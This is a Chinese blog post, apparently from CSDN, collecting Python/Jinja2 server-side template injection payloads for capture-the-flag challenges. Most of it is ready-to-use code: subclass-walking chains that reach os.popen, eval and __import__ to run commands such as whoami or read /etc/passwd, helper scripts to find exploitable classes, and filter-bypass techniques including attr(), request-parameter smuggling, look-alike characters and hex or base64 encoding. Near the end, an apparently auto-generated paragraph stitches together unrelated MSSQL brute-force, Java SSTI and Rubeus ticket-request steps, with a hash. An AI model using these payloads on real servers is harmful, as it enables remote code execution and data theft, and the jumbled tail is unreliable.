SSTI-payload和各种绕过方法

总结SSTI题目的流程(以python3为例)

类的下标会因为python版本的不同(python2,python3)而不同

1.找到object类,通过__mro__或__bases__来找

 //针对不同的网站需要对索引进行修改,直到返回的类为object
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[11]

如下: 

2.查看object类的子类,通过.__subclasses__()

在不同题目中的子类不同,有一些会被禁掉,通过下面这些payload查看哪些可以用的

''.__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()

3.通过子类找能利用的函数 

1.  文件读取第91个<class '_frozen_importlib_external.FileLoader'>

''.__class__.__mro__[1].__subclasses__()[91].get_data(0,'文件路径')

2.文件读写第40个<class file>(如果有的话)

#读
''.__class__.__mro__[1].__subclasses__()[40]('文件路径').read()
#写
''.__class__.__mro__[1].__subclasses__()[40]('文件路径','写的方式').write()

3.命令执行

直接利用os.popen 

object下的第71个类 <class 'site._Printer'> 

{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

如果没有上面这个类就得麻烦一点,需要通过__import__ 或者 __builtins__来实现命令执行

做法: 找到能够能够实现 .__init__.__globals__的类,并且进一步找模块: __import__ 或者 __builtins__

python代码如下:

num = 0
str1=''
select=input("请选择查找的方法:1.__builtins__;2.__import__;")

if select=='1' :
    str1="__builtins__"
if select=='2' :
    str1="__import__"

for item in ''.__class__.__mro__[1].__subclasses__():
    try:
        if str1 in item.__init__.__globals__:
            print(num,item)
            num+=1
    except:
        num+=1

 或者用这个,一步到位找eval

count = -1
# for i in ''.class.mro[-1].subclasses():
for i in ''.__class__.__mro__[-1].__subclasses__():
    count += 1
    if "warpper" in repr(i.__init__):
        pass
    else:
        try:
            if "eval" in repr(i.__init__.__globals__['__builtins__']):
                print(count, i)
        except:
            pass

举个例子具有__builtins__的类

具有builtins的话:利用eval

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

利用command(有些题目可能会提示没有command包,那就用不了)

{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')}}
{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

具有import方法

payload如下: 

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

  其他

Jinja2创建的url_for()方法 

{{url_for.__globals__.os.popen("whoami").read()}}

通过config,调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

下面的这几个不一定行 

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("whoami").read()}}

// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}


对命令执行进行总结:

1.找到object类

2.调用相关函数:

命令执行:os.system() , os.popen().read(),eval()

怎么找? 1.通过python脚本去找

2.如果某个类没有os,却有import,可以通过import导入os的包后通过os进行命令执行

3.类的位置会因为python的版本不同而不同,只需要去官网查一下,或者自己一步一步找即可

至于怎么看服务器python的版本?->bp抓包,直接看返回包即可

 各种绕过方式(欢迎补充)

方法1关键词被禁

通过拼接字符串

.__class__ -> ["__c""lass__"]

点被禁了

1.通过 [] 来替代点

.__class__ -> [__class__]

 2.通过|attr()替换

.__class__ -> |attr("__class__")
如
request.__class__ -> request|attr("__class__")

方法2过滤了_ 

通过传递参数绕过

Get方式传参的

{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__

Post方式传参(分两步)

{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

利用hackbar在这个页面传一个Post数据包

class=__class__&mro=__mro__&subclasses=__subclasses__

方法3过滤引号

也是通过传参实现绕过

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

方法4特殊字符绕过

符号大全-特殊符号-特殊符号大全 (fhdq.net)

直接在这上面ctrl+f搜等价替换的符号,然后利用python脚本进行替换

"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
str='{{\'\'.__class__}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
str=str.replace('\"','"')

print(str)

方法5编码绕过

[].__class__->[].__getattribute__('X19jbGFzc19f'.decode('base64'))

十六进制编码绕过:

用的时候注意自己改一改,不要用 . 来访问类,要用[ ]

import re

def hex16(str):
    result=''
    for i in str:
        if i in '()[]0123456789\'':
            result = result+i
            continue
        i = bytes(i,'UTF-8')
        i = i.hex()
        result = result + '\'\\x'+i+'\''
    return result
str = "''[__class__][__mro__][1][__subclasses__]()[64][__init__][__globals__][__import__](os)[popen](whoami)[read]()"
str2 = hex16(str)
print(str2)

为了通关ssti-lab靶场,你可以按照以下步骤进行操作: 1. 首先,从上一个数据库中找到的password字典中获取到mssql的账户密码。 2. 使用这个账户密码进行mssql的暴力破解,以获得访问权限。 3. 一旦你获得了访问权限,你可以使用SSTI有效载荷发生器来执行特定类型的Java SSTI攻击。该有效载荷发生器可以生成针对Java SSTIpayload,启发于${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)...}。 4. 另外,你还可以使用Rubeus工具来申请访问自身的可转发服务票据。通过运行命令".\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:bd2cf5e6a8f89ed5b02d3d7fcf5e88c7 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt",你可以生成一个可转发的服务票据文件,以便在后续攻击中使用。 通过以上步骤,你可以成功通关ssti-lab靶场。请注意,在进行任何攻击前,确保你有合法的授权和使用权,并且遵守法律法规。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [WP-春秋云镜-Brute4Road靶场通关完全指南](https://blog.csdn.net/qq_45234543/article/details/128482984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [ssti-payloadSSTI有效载荷生成器](https://download.csdn.net/download/weixin_42128558/15099898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值